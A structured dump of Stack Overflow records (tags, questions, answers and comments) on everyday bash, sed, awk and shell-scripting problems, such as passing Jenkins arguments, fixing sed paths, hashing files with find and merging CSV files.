tags question: http://stackoverflow.com/q/76779055
tags question: http://stackoverflow.com/q/77029758
tags question: http://stackoverflow.com/q/77014035
tags question: http://stackoverflow.com/q/77198302
tags question: http://stackoverflow.com/q/77105912
tags question: http://stackoverflow.com/q/77311103
tags question: http://stackoverflow.com/q/77464976
tags question: http://stackoverflow.com/q/77559666
tags question: http://stackoverflow.com/q/77451465
tags question: http://stackoverflow.com/q/77737851
tags question: http://stackoverflow.com/q/77784160
tags question: http://stackoverflow.com/q/77847724
tags question: http://stackoverflow.com/q/78128568
tags question: http://stackoverflow.com/q/78071153
tags question: http://stackoverflow.com/q/78032097
tags question: http://stackoverflow.com/q/78075531
tags question: http://stackoverflow.com/q/78303334
tags question: http://stackoverflow.com/q/78189007
tags question: http://stackoverflow.com/q/78346697
tags question: http://stackoverflow.com/q/78567995
tags question: http://stackoverflow.com/q/78481980
tags question: http://stackoverflow.com/q/78553422
tags question: http://stackoverflow.com/q/78818520
tags question: http://stackoverflow.com/q/79050313

http://stackoverflow.com/comment/135173139
type: QuestionComment
has text: I don't see any occurance of _takevaluefrombelow_ in the code you posted.
type: Comment
comment on: http://stackoverflow.com/q/76669088
score: 0

rsync
type: Tag
tags question: http://stackoverflow.com/q/76577218
tag name: rsync
tags question: http://stackoverflow.com/q/76815964
tags question: http://stackoverflow.com/q/77625244
tags question: http://stackoverflow.com/q/78101418
tags question: http://stackoverflow.com/q/78808231

http://stackoverflow.com/comment/135093255
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76622373
has text: Try a pattern of `\{[^}]+?nvidia[^}]+?\}`, which should need much much much less backtracking.
score: 0

http://stackoverflow.com/comment/134996599
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76566011
type: Comment
has text: imao, creating an alias to the full path of the script in your terminal is easiest. [here's](https://www.shell-tips.com/bash/alias/#gsc.tab=0) a quick tutorial.

cicd
type: Tag
tag name: cicd
tags question: http://stackoverflow.com/q/76621928
tags question: http://stackoverflow.com/q/76836431
tags question: http://stackoverflow.com/q/76901769
tags question: http://stackoverflow.com/q/78750269
tags question: http://stackoverflow.com/q/79242514

watch
tags question: http://stackoverflow.com/q/76699173
tag name: watch
type: Tag

spring
type: Tag
tag name: spring
tags question: http://stackoverflow.com/q/76644366
tags question: http://stackoverflow.com/q/77009944
tags question: http://stackoverflow.com/q/77633360
tags question: http://stackoverflow.com/q/77737851
tags question: http://stackoverflow.com/q/78979654

expect
tag name: expect
type: Tag
tags question: http://stackoverflow.com/q/76592908
tags question: http://stackoverflow.com/q/76715818
tags question: http://stackoverflow.com/q/76830614
tags question: http://stackoverflow.com/q/77122685
tags question: http://stackoverflow.com/q/77411028
tags question: http://stackoverflow.com/q/77715617
tags question: http://stackoverflow.com/q/78275890
tags question: http://stackoverflow.com/q/78541067
tags question: http://stackoverflow.com/q/78712865
tags question: http://stackoverflow.com/q/78854389
tags question: http://stackoverflow.com/q/78949960

stdin
tag name: stdin
type: Tag
tags question: http://stackoverflow.com/q/76583869
tags question: http://stackoverflow.com/q/77595203
tags question: http://stackoverflow.com/q/77649302
tags question: http://stackoverflow.com/q/78363374
tags question: http://stackoverflow.com/q/78391361
tags question: http://stackoverflow.com/q/78334722
tags question: http://stackoverflow.com/q/78700014

http://stackoverflow.com/a/76688140
type: Answer
has body: What you are trying to do is not directly possible. You can't return something that is not an exit code from a function in bash. This answer discusses alternatives. Your line id_no=$(get-value $id_key) in stk2.sh captures all output from that command (which you start in a subshell by using $(...)), which in this case is determined by the line printf "$1\n" in stk1.sh. Here is another insightful discussion about return values of bash functions etc.
score: 0
answers question: http://stackoverflow.com/q/76687885

sbt
type: Tag
tag name: sbt
tags question: http://stackoverflow.com/q/76621052

http://stackoverflow.com/comment/135023100
has text: It is not a restriction by bash, but by the operating system.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76575733

http://stackoverflow.com/a/76585278
answers question: http://stackoverflow.com/q/76585150
has body: Saw you added the python tag to your question. Here is a workaround for python from pathlib import Path root = "The/directory/where/1111,2222,3333/are/located" for i in Path(root).iterdir(): for j in i.glob("*_apple"): j.rename(i / f"{i.name}{j.name}")
type: Answer
score: 0

diff
tag name: diff
type: Tag
tags question: http://stackoverflow.com/q/76566816
tags question: http://stackoverflow.com/q/77420242

http://stackoverflow.com/comment/135381185
comment on: http://stackoverflow.com/q/76785187
type: QuestionComment
has text: @Kaz No: Accapted answer clearly explain: ***This is not portable among various implementations of echo builtin/external executable. The portable way would be to use printf instead:***
type: Comment
score: 2

http://stackoverflow.com/comment/135343331
comment on: http://stackoverflow.com/q/76770526
type: QuestionComment
has text: Sorry not a native speaker so my eng probably sucks, but if I understood correctly you want me to print the contents of args1 right before calling execvp? If that's the case, nothing gets printed
type: Comment
score: 0

http://stackoverflow.com/comment/135284845
score: 0
type: QuestionComment
type: Comment
has text: Have you tried anything?Any blocker you are facing?provide those details.
comment on: http://stackoverflow.com/q/76735566

http://stackoverflow.com/comment/135491143
has text: you can also try using the full path to the sed, for example : `/usr/bin/sed -E -n -f "/Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed" "/Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/data.psv"`
score: 0
comment on: http://stackoverflow.com/q/76855842
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76859636
has comment: http://stackoverflow.com/comment/135497799
has comment: http://stackoverflow.com/comment/135497942
has title: Dynamic command line arguments are not getting passed to the script
has body: Here is my pipeline script where I'm calling one shell script and passing the arguments. In this $np and $cp contains special character i.e. # ex: abcdefgh#abd#we23: def name = 'xyz' def np = '' def cp = '' def pnumber = 'if.com' def mnumber ='12' def unumber= 'abc' pipeline{ stages{ stage('stage1'){ steps{ script{ cp = sh(script: "cat file.txt", returnStdout: true) np = sh(script: "cat file2.txt", returnStdout: true) } } stage('stage2'){ steps{ script{ sh "./myscript.sh $name $mnumber $pnumber $unumber $np $cp" } } } } Where as my script is: #!/bin/bash name=$1 pnumber=$2 mnumber=$3 unumber=$4 np=$5 cp=$6 sqlplus $unumber/$np/$cp/$unumber/$mnumber/$pnumber<<EOF select date/$name; exit; EOF Output of the pipeline script I'm getting is without the last argument. For example: ./myscript.sh abc xyz 123 User abcdefgh#abd#we23 it is not taking the last argument. Request your help in letting me know what is wrong with my script. I'm happy to provide you any other detail if required. Thanks
score: 0
tagged with: command-line-arguments
has comment: http://stackoverflow.com/comment/135497895
tagged with: shell
tagged with: jenkins
tagged with: bash
has comment: http://stackoverflow.com/comment/135497796
has comment: http://stackoverflow.com/comment/135497818
has comment: http://stackoverflow.com/comment/135497653
has comment: http://stackoverflow.com/comment/135497760
answer count: 1
has answer: http://stackoverflow.com/a/76860070
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135497976
accepted answer: http://stackoverflow.com/a/76860070
has comment: http://stackoverflow.com/comment/135497678
has comment: http://stackoverflow.com/comment/135497697
has comment: http://stackoverflow.com/comment/135497970
type: Question
has comment: http://stackoverflow.com/comment/135497721
has comment: http://stackoverflow.com/comment/135497776
has comment: http://stackoverflow.com/comment/135506466

http://stackoverflow.com/comment/135344154
has text: thats work ED .. thank you .. one more small doubt , how to do greater than and equal to in if statement ... for me if [[ $highest_version > $actual_version ]]; works but not >=
comment on: http://stackoverflow.com/a/76771093
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76808171
tagged with: shell
tagged with: linux
tagged with: netcat
score: 0
type: Question
answer count: 0
type: UnansweredQuestion
has title: How to probe remote Services using a shell script
has comment: http://stackoverflow.com/comment/135408759
has comment: http://stackoverflow.com/comment/135408083
tagged with: telnet
has body: I have a project that needs to detect different service ip to distinguish between internal network or external network access. At the beginning, I used the following nc command to detect, but the company did not allow it due to security issues ret=$(nc "$internal" "$port" < /dev/null; echo $?) if [ $ret = 0 ];then echo "The service can be accessed through the $internal" using=$internal:$port else using=$external:$port fi Telnet is an optional way telnet $host $port, but this will occupy the terminal, and my goal is to detect whether it is accessible to determine the use of the internal network and external network May I ask how to modify the telnet command, or use other methods (try to be native to be compatible with most environments) to achieve detection? Looking forward to your reply.

http://stackoverflow.com/q/76855842
score: 0
has comment: http://stackoverflow.com/comment/135493487
tagged with: sed
answer count: 2
has answer: http://stackoverflow.com/a/76856183
tagged with: bash
accepted answer: http://stackoverflow.com/a/76856183
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135500971
has comment: http://stackoverflow.com/comment/135500974
possible better answer: http://stackoverflow.com/a/76855885
has comment: http://stackoverflow.com/comment/135491143
tagged with: zsh
has body: I am trying to pass a file with sed substitutions to sed, and it ignoring parts of the path I give it: First, let's start with a simple assertion: test -f workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed && echo "exists" exists Yup, file exists. Now, the problem: sed -E -n -f /Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed /Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/data.psv sed: orkdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed: No such file or directory It's dropping everything before the o in workdir! I have tried a fresh shell, with no extensions env -i /opt/brew/bin/bash bash-5.2$ sed -n -E -f "/Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed" "/Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/data.psv" sed: orkdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed: No such file or directory I have tried an older version of bash: env -i bash The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. bash-3.2$ sed -n -E -f "/Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed" "/Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/data.psv" sed: orkdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed: No such file or directory I have tried it with zsh env -i zsh sed -E -n -f /Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed /Users/cbongior/dev/omc/workdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/data.psv sed: orkdir/2023-08-03/2023-07-21-01-30-19_2023-07-31-23-59-58/templates.sed: No such file or directory I have also tried gsed gsed -n -E -f "/Users/cbongior/dev/omc/workdir/20…
type: Question
has comment: http://stackoverflow.com/comment/135492722
tagged with: shell
has title: Sed is is very confused about the file path I am giving it
has answer: http://stackoverflow.com/a/76855885

reactjs
tags question: http://stackoverflow.com/q/76761977
tag name: reactjs
type: Tag
tags question: http://stackoverflow.com/q/76778171

http://stackoverflow.com/comment/135520464
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76872375
has text: `-p` does not interpret \n as a line feed. You can do it like tshiono suggested in his comment, or you just put an `echo` between the two `read`.
score: 3

http://stackoverflow.com/comment/135431864
type: QuestionComment
type: Comment
has text: @KurtisRader, ...When you're doing a code review it's much easier to look for missing `|| exit`s or `|| return`s than it is to look for cases where `set -e` is depended on to work consistently in a function where the "checked" flag will be set, suppressing its behavior, in some but not all calls. The less context one needs to keep in one's head during a code review to accurately assess code's safety, the more likely that review will be correct.
comment on: http://stackoverflow.com/q/76815964
score: 0

http://stackoverflow.com/a/76813342
answers question: http://stackoverflow.com/q/76810947
accepted answer of: http://stackoverflow.com/q/76810947
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135420769
score: 0
has comment: http://stackoverflow.com/comment/135421162
has body: The full backslashes are not being used in the replacement string and it looks like sed is not matching the pattern for string replacement. In particular: sed -i --debug "s/'$replaceUser'/$userAgent/g" $file # <-- This is not working I'm sure it isn't working. At minimum, the single quotes in that command are inside double quotes, and therefore represent themselves. Your file does not contain corresponding single-quote characters, so no lines will match that regex. Additionally, the backslashes in the expansion of userAgent will not be understood literally by sed, so you would get an incorrect replacement. (Also, my sed, at least, does not understand --debug.) The backslash is an escape character for sed. To express a literal backslash, us a double backslash (\\). The backslash is also an escape character for the shell, but that significance is suppressed by quoting with single quotes, which you appear to be using effectively for that purpose. Your original code determines the old user agent from the file via a mix of a command substitution with sed and several bash parameter expansions, then tries to construct a sed expression to replace the old agent string with the new one. But you are already using sed, and the user-agent identification is right in its wheelhouse, so why are you making it so complicated? Possibly you have simplified a more complex real-world scenario, but with what you've actually presented, I would probably do something more like this: #!/bin/bash file=myconfig.txt userAgent='D\:\\agent_work\\agent-1\\170\\s\\' echo "Current User agent: $userAgent" if grep -q -F "$userAgent" "$file"; then echo "Found user agent, no need to replace" else echo "User Agent not found in file, need to replace with current" sed -i -e '2,$s/^[^s]*s\\\\/'"${userAgent//\\/\\\\}/" "$file" fi In fact, I might even take out the user-agent test, and just do the substitution unconditionally: #!/bin/bash file=myconfig.txt userAgent='D\:\\agent_work\\agent-1\\170\\s\\' sed -i …
type: Answer

http://stackoverflow.com/a/76758443
downvote count: 0
has body: You script should be like this #! /system/bin/sh sleep 100 &lt;/dev/null &gt;/dev/null 2&gt;&amp;1 &amp; echo $! do chmod +x script and you don't need the .sh extension. Then adb shell /data/local/tmp/script would work as expected.
type: Answer
answers question: http://stackoverflow.com/q/76755757
score: 1
accepted answer of: http://stackoverflow.com/q/76755757
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/a/76718347
answers question: http://stackoverflow.com/q/76718065
type: Answer
has body: As suggested in the comments, it is a bad idea to peek and/or poke in structured text using string operations as -replace, instead use the dedicated (xml) parser. To changes the version in your xml file: $Content = @' <?xml version="1.0" encoding="UTF-8"?> 4.0.0 com.foo.primo primo-parent 1.0 com.foo core 1.0.1 pom foo profile_1 module_1 '@ $Xml = [xml]$Content $Xml.project.version = '2.0.1' [System.Xml.Linq.XDocument]::Parse($Xml.OuterXml).ToString() 4.0.0 com.foo.primo primo-parent 1.0 com.foo core 2.0.1 pom foo profile_1 module_1 For your script it would look probably something like: Get-ChildItem -Path . -Filter pom.xml | ForEach-Object { $Content = Get-Content $_.FullName -Raw $Xml= [xml]$Content $Xml.project.version = $Version $Xml.Save($_.FullName) }
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/76740127
downvote count: 0
answers question: http://stackoverflow.com/q/76739914
has comment: http://stackoverflow.com/comment/135291879
has body: This seems like a good use case for awk! This program lets you do operation on columns of data (separated by space by default). The $2 and $3 here represents the second and third columns. The -v option is to pass a bash variable to our awk script awk -v m=$mountpoint '{if ($2 == m) print $3}' /etc/fstab
type: Answer
accepted answer of: http://stackoverflow.com/q/76739914
type: AcceptedAnswer
score: 4
has comment: http://stackoverflow.com/comment/135295019
upvote count: 4

http://stackoverflow.com/comment/135354984
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76771421
type: Comment
has text: @CharlesDuffy you don't understand the my point of view. First quoting with single quotes (plus docu) should be an answer from you and not a comment because this is the answer I am looking for, Second you don't know the users environment and circumstances either you ask before trolling or just ignore the question

http://stackoverflow.com/comment/135450836
type: Comment
comment on: http://stackoverflow.com/a/76828846
type: AnswerComment
score: 0
has text: Remember that Stack Overflow isn't just intended to solve the immediate problem, but also to help future readers find solutions to similar problems, which requires understanding the underlying code. This is especially important for members of our community who are beginners, and not familiar with the syntax. Given that, **can you [edit] your answer to include an explanation of what you're doing** and why you believe it is the best approach?

http://stackoverflow.com/a/76845841
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135473775
has comment: http://stackoverflow.com/comment/135473617
upvote count: 2
has body: Given what you said in the comments below about not really needing all of your scripts to share a variable but instead just needing children running in the background to be able to each return a value to the parent, something like this might be best: $ cat parent.sh #!/usr/bin/env bash foo=1000 bar=999 run_children() { local -A children local -a pids local var children[foo]=./child1.sh children[bar]=./child2.sh for var in "${!children[@]}"; do printf '%s\n%s\0' "$var" "$( "${children[$var]}" )" & pids+=( $! ) done wait "${pids[@]}" } while read -r -d '' var val; do printf -v "$var" '%s' "$val" done < <( run_children ) printf 'foo=%s\n' "$foo" printf 'bar=%s\n' "$bar" $ cat child1.sh #!/usr/bin/env bash for i in {1..3} do echo "### FIRST PROCESS $i" >&2 sleep 2 done printf "now is the winter\nof our discontent\n" $ cat child2.sh #!/usr/bin/env bash for i in {1..3} do echo "### SECOND PROCESS $i" >&2 sleep 1 done printf 'wee, sleekit, cowrin\ntimrous beastie\n' $ ./parent.sh ### FIRST PROCESS 1 ### SECOND PROCESS 1 ### SECOND PROCESS 2 ### FIRST PROCESS 2 ### SECOND PROCESS 3 ### FIRST PROCESS 3 foo=now is the winter of our discontent bar=wee, sleekit, cowrin timrous beastie I had the children output multi-line string values just to show the approach works for that case as well as the desired single-number output case. I gave child1 a longer sleep interval between iterations than child2 to show that the script waits for all processes to end before reading their output and isn't affected by the order they run in. Note in all of the above that the children scripts know nothing about the parent variables, thereby maintaining loose coupling between them. If any of the children need to use the value of foo or bar as initially set in the parent then, unless there's some reason we don't know about yet, I'd recommend passing the value as an argument to keep that loose coupling rather than exporting it in the parent and then referencing the variable in a child as that would un…
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76845626
type: Answer
has comment: http://stackoverflow.com/comment/135473612
score: 2
answers question: http://stackoverflow.com/q/76845626
has comment: http://stackoverflow.com/comment/135473599
has comment: http://stackoverflow.com/comment/135473582

http://stackoverflow.com/q/76857263
tagged with: shell
has body: I got a question on the Linux and Shellscript, i know it can`t to get the file from the created date, only the modified dates, but how about , if I got the created date on the files name? For example, now there are folder which includes some files: ABCADD01-20230801 ABCADD01-20230802 ABCADD01-20230803 ABCADD01-20230804 ABCADD02-20230801 ABCADD02-20230802 ABCAEE01-20230801 ABCAEE01-20230802 ABCAEE01-20230803 ABCAFF01-20230801 ABCAGG01-20230802 And I need to find the files name is "ABCADD" and the creation date is "2 days ago or earlier", and zip those files. Today is 20230804 I got an idea is using two for loop: first loop is finding the files name included "ABCADD", second loop is finding the creation dated is two days ago. # Get the date for two days ago two_days_ago=$(date -d "2 days ago" +%Y%m%d) # Find the "ABCADD" files that were last modified two days ago, zip them for file in $(find . -name 'ABCADD*' -type f ); do for file in $(find . -name '*$two_days_ago' -type f ); do echo "Zipping $file" gzip "$file" done done The expected final results should be ABCADD01-20230801 ABCADD01-20230802 ABCADD02-20230801 ABCADD02-20230802 however, i can't get the "two days ago or earlier" and only able to get the specific day which is 20230802, and there are still some bugs. any better ways?
tagged with: linux
has title: ShellScript, any better ways to 'find' the files with specific name and date?
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/76857548
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/76857548
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135493474
type: Question

http://stackoverflow.com/a/76873130
type: Answer
has body: $ cat /proc/meminfo MemTotal: 11979236 kB MemFree: 2118136 kB MemAvailable: 10570620 kB Buffers: 11436 kB Cached: 8044856 kB SwapCached: 0 kB Active: 7245688 kB .... $ awk '/MemTotal:/{t=$2} /MemFree:/{f=$2} t &amp;&amp; f{print t-f; exit}' /proc/meminfo 9861496
downvote count: 0
answers question: http://stackoverflow.com/q/76872740
score: 1
upvote count: 1

http://stackoverflow.com/comment/135423965
has text: Share an expected output as well. If you're trying to extract only failed backups, you can use `sed` to do the job.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76817129

http://stackoverflow.com/q/76744886
has comment: http://stackoverflow.com/comment/135308290
score: 0
type: Question
tagged with: shell
possible better answer: http://stackoverflow.com/a/76745790
has comment: http://stackoverflow.com/comment/135299626
has answer: http://stackoverflow.com/a/76745459
has body: Been unsuccessful figuring out why the OR operator is ignored and both commands are executed. find / -ipath /usr/bin 2>/dev/null -print -quit || echo "Not a valid directory" /usr/bin Not a valid directory Been experimenting with command substitution and grouping but the result is the same or find is ignored. {find / -ipath /usr/bin 2>/dev/null -print -quit || echo "Not a valid directory"} Not a valid directory} $(find / -ipath /usr/bin 2>/dev/null -print -quit) || echo "Not a valid directory" -bash: /usr/bin: Is a directory Not a valid directory
has comment: http://stackoverflow.com/comment/135300414
has comment: http://stackoverflow.com/comment/135299658
has answer: http://stackoverflow.com/a/76745790
tagged with: operators
answer count: 2
accepted answer: http://stackoverflow.com/a/76745459
tagged with: bash
has comment: http://stackoverflow.com/comment/135299955
has comment: http://stackoverflow.com/comment/135300312
has title: || operator ignored, both commands are executed
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135299696

http://stackoverflow.com/q/76718520
tagged with: quotes
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
has title: How to input a full cmdline to qemu using bash?
score: 0
has comment: http://stackoverflow.com/comment/135288166
has comment: http://stackoverflow.com/comment/135255963
tagged with: qemu
tagged with: bash
has body: This is my script: KERNEL_CFG="-kernel Image -append \"root=/dev/vda1 nokaslr console=ttyAMA0 earlycon=pl011,mmio,0x09000000\"" DISK_CFG="-drive if=none,file=$DISKFILE,format=qcow2,id=hd1 -device virtio-blk-pci,drive=hd1,bootindex=0" sudo ./qemu-system-aarch64 \ -machine virt -cpu host -accel kvm \ -bios QEMU_EFI.fd \ -nographic \ -net user,hostfwd=tcp::2222-:22 -net nic \ -smp cpus=8 \ -m 4G \ $KERNEL_CFG \ $DISK_CFG It returns: sudo ./qemu-system-aarch64 -machine virt -cpu host -accel kvm -bios QEMU_EFI.fd -nographic -net user,hostfwd=tcp::2222-:22 -net nic -smp cpus=8 -m 4G -kernel Image -append '"root=/dev/vda1' nokaslr console=ttyAMA0 'earlycon=pl011,mmio,0x09000000"' -drive if=none,file=debian-10-nocloud-arm64-20230601-1398.qcow2,format=qcow2,id=hd0 -device virtio-blk-pci,drive=hd0,bootindex=1 qemu-system-aarch64: nokaslr: Could not open 'nokaslr': No such file or directory How to input a full cmdline to qemu? Input a full cmdline to qemu.

http://stackoverflow.com/comment/135344874
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76771280
type: Comment
has text: Hello, I just checked dir and there is indeed our.sh in the current directory. Then line 289 is an empty line with no content, and the line above it is the last line of the shell file.

http://stackoverflow.com/comment/135476890
comment on: http://stackoverflow.com/a/76843948
type: Comment
type: AnswerComment
score: 1
has text: @Adriano_Pinaffo, [read](https://www.gnu.org/software/bash/manual/bash.html#index-read) is a [Bash builtin command](https://www.gnu.org/software/bash/manual/bash.html#Bash-Builtins). It does not run in a subshell. That is why it can modify shell variables.

http://stackoverflow.com/comment/135378262
score: 2
type: Comment
has text: What is the rule behind this pairing x-y? Why 4 5 6 7 becomes 4-7 but 9 10 becomes 9-10? Please see [How to ask](https://stackoverflow.com/help/how-to-ask). And include your attempted code in the question as well.
type: QuestionComment
comment on: http://stackoverflow.com/q/76790926

http://stackoverflow.com/q/76743009
has title: How to create a hidden hash file in Linux for each file recursively?
downvote count: 0
has answer: http://stackoverflow.com/a/76764330
favorite count: 0
score: 1
has answer: http://stackoverflow.com/a/76743163
type: Question
has answer: http://stackoverflow.com/a/76750087
has body: I could manage to generate a hash file for each file not yet hashed recursively: find . -type f ! -name '*.sha256' -execdir sh -c '[ ! -f "$1.sha256" ] && sha256sum "$1" > "$1.sha256"' _ {} \; I can´t get it to produce hidden files prefixed with a dot. Adding a . like so find . -type f ! -name '*.sha256' -execdir sh -c '[ ! -f "$1.sha256" ] && sha256sum "$1" > ".$1.sha256"' _ {} \; This produces no output. I can´t figure out how to add the . prefix or how to escape it. I tried to isolate the variable like ${1} or {$1}. This also didn´t help. I got the current generation for non-hidden files extrapolated from this question and its solution. I would be perfectly happy to have a bash script to call to do the job if it is easier to produce. I would need the solution to work on Debian and Ubuntu Linux.
linked to: http://stackoverflow.com/q/60289993
type: UnansweredQuestion
upvote count: 1
answer count: 3
has comment: http://stackoverflow.com/comment/135298161
tagged with: shell
tagged with: linux

supabase
tag name: supabase
tags question: http://stackoverflow.com/q/76757276
type: Tag

http://stackoverflow.com/a/76812230
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76810878
type: Answer
answers question: http://stackoverflow.com/q/76810878
has body: Many thanks to User jenny's answer! Sorry that I don't have enough reputation to upvote you. The database name needs to go after the dump command, and then all the options. So your example would be: neo4j-admin database dump neo4j --verbose --to-path=D:\neo4j_library_5.10 According to the answer, I tried to change the slash direction in my command, and it worked! This is the final command: neo4j-admin database dump neo4j --verbose --to-path=D:/neo4j_library_5.10 Even if you are using Neo4j's command in Windows system, you need to use the slash in path parameters like it's in Linux (e.g., /var/bin/), which is to use slash/ instead of backslash\. E.g., Use F:/test_directory/test_subdirectory/ instead of F:\test_directory\test_subdirectory\.
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/135493076
score: 0
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment
type: Comment
has text: _... but executes when run directly on cmd prompt_ : Show how you run it from the prompt, and how you run it from the script. A screenshot would help here.

http://stackoverflow.com/comment/135349467
score: 0
has text: `sed -i "s/^test\.pwd=/d" test.txt`
type: Comment
comment on: http://stackoverflow.com/q/76774173
type: QuestionComment

ansible-2.x
tags question: http://stackoverflow.com/q/76854223
tag name: ansible-2.x
type: Tag
tags question: http://stackoverflow.com/q/77731615

http://stackoverflow.com/comment/135492175
has text: Oh I think it's because the variable `$reply` scope is only within the commands string of `sh -c` so running `echo $reply` after `sh -c` is executed doesn't return the assigned value
comment on: http://stackoverflow.com/a/76856201
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135491971
type: Comment
type: AnswerComment
has text: thanks you :) sed "s/'\$request_body'//" nginx.conf this did the job
comment on: http://stackoverflow.com/a/76852130
score: 0

http://stackoverflow.com/q/76805101
has comment: http://stackoverflow.com/comment/135402503
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/76806650
has answer: http://stackoverflow.com/a/76809707
score: 0
answer count: 4
tagged with: linux
has comment: http://stackoverflow.com/comment/135402755
has body: I'm having a CSV file with 5 columns where 1 column is having integer values like (1,564, 4,789, 9,765). I need to remove "," (comma) from col3 where integer value should look like as follows: (1564,4789,9865). Tried various ways using "awf" & "sed" but none of it is working. Below is the sample input and expected output. Input CSV file: col1,col2,col3,col4,col5 Abcd,defg,"1,432",hjik,khuj Output CSV file: col1,col2,col3,col4,col5 Abcd,defg,"1432",hjik,khuj
downvote count: 1
has answer: http://stackoverflow.com/a/76805384
has comment: http://stackoverflow.com/comment/135402527
has answer: http://stackoverflow.com/a/76807576
has comment: http://stackoverflow.com/comment/135402515
type: Question
tagged with: shell
type: UnansweredQuestion
upvote count: 1
has title: Removing "," (comma) value from the columns of a CSV file using linux shell
favorite count: 0

django-models
tag name: django-models
type: Tag
tags question: http://stackoverflow.com/q/76790806

http://stackoverflow.com/comment/135399847
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76803412
has text: As the [tag:bash] tag you used instructs - "For shell scripts with syntax or other errors, please check them at https://shellcheck.net before posting them here."
type: Comment

http://stackoverflow.com/comment/135267575
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/76725490
type: Comment
has text: please update the question with the code you've attempted and the (wrong) output generated by your code; also of interest ... some idea on max number of files and max size of files (might come in handy when taking into consideration whether or not a solution can be done in memory or if intermediate files will need to be used)

http://stackoverflow.com/comment/135455387
type: Comment
has text: Reduce your shown code until only the problem remains.
comment on: http://stackoverflow.com/q/76835075
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135448318
has text: They're different if `$cmd` contains shell metacharacters.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76831000

http://stackoverflow.com/comment/135424575
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76817420
has text: It works perfect! Nice job.
score: 0

http://stackoverflow.com/q/76841295
possible better answer: http://stackoverflow.com/a/76842055
upvote count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76842148
has comment: http://stackoverflow.com/comment/135467227
tagged with: awk
accepted answer: http://stackoverflow.com/a/76842148
has body: I'm trying to compare three files with some common and unique values in them, I want to club all the three files in one file. I want to find the common values between all three files, second, all the values which are atleast present in any two file third, the values which are unique to one file versus other two. I wrote a code for this but it is only giving me the common ones only. I only want to make compare the "name" column between the file (Not all colum), however want to print all three columns from all three files $ cat file_1 id,name,value 1,a,20 2,b,34 3,c,5 $ cat file_2 id,name,value 1,a,27 2,b,55 7,d,15 9,z,100 $ cat file_3 id,name,value 1,a,77 2,b,95 11,d,83 6,y,109 Expected output: id,name,value,id2,name2,value2,id3,name3,value3 1,a,20,1,a,27,1,a,77 2,b,34,2,b,55,2,b,95 3,c,5,NA,NA,NA,NA,NA,NA NA,NA,NA,7,d,15,11,d,83 NA,NA,NA,9,z,100,NA,NA,NA NA,NA,NA,NA,NA,NA,6,y,109 I tried this code but is is only giving me the comparision between two file. and not giving me the unique values #!/usr/bin/awk -f BEGIN { FS = OFS = ","; print "id,name,value,id2,name2,value2,id3,name3,value3"; } function print_na_row(name) { print name, "NA", "NA", "NA", "NA", "NA", "NA"; } # Read file1.csv and store the data in an array NR == FNR && FNR > 1 { id = $1; name = $2; value = $3; file1_data[name] = id "," value; next; } # Read file2.csv and file3.csv and merge with data from file1.csv FNR > 1 { id = $1; name = $2; value = $3; current_row = id "," value; if (name in file1_data) { print name, file1_data[name], current_row; delete file1_data[name]; # Remove the matched entry to handle unique values in file1.csv } else { print_na_row(name); } } END { for (id in file1_data) { print_na_row(name); } } Please help me with this.
type: Question
answer count: 4
has comment: http://stackoverflow.com/comment/135467296
tagged with: shell
has comment: http://stackoverflow.com/comment/135467528
has comment: http://stackoverflow.com/comment/135467409
